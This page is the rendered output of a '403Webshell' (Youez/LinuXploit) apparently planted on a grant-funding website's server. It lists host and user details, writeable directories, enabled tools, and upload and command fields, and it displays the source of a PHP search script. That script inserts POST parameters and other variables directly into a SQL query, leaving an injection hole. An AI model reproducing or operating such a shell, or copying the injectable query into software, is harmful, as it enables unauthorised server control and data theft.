403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/newusafunding.com/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/newusafunding.com/vx/usa/functions/searchMore.php
<?
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
include_once($_SERVER['DOCUMENT_ROOT']."/vx/usa/lib/formalizeGrants.php");
if(empty($user) || $guest)
{
	return false;
	exit;	
}
else
{
	$pageStart = $_POST['pageStart'];
	$pageLength = $_POST['pageLength'];
	$grantCollection = $db->query("
								SELECT 
										gg.*,
										gg.name AS name,
										gg.description AS description,
										gusg.id AS favorite
								FROM grdb.grd_grants_categories AS ggc
								LEFT JOIN grdb.grd_grants AS gg
									ON gg.grants_id = ggc.grants_id
								LEFT JOIN grdb.grd_usa_saved_grants AS gusg
									ON 
										gusg.grants_id = gg.grants_id
									AND 
										gusg.client_id = '$user'
									AND 
										site_code = '$siteCode'
								WHERE
										ggc.categories_id = $siteCategory
									AND
									(
											gg.deadline > NOW()
										OR
											gg.deadline = '0000-00-00'
									)
									AND
										gg.name <> ''
									AND
										gg.name IS NOT NULL
									AND gg.status='active'
								GROUP BY gg.grants_id
								ORDER BY gg.deadline ASC, gg.amount DESC
								LIMIT $pageStart, $pageLength
							");
	if(count($grantCollection) > 0)
	{
		$grantList = formalizeGrants($grantCollection, $userDB, $states, $db);
	}
	else
	{
		$grantList = "No Results";	
	}
	$data['grants'] = $grantList;
	echo json_encode($data);	
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit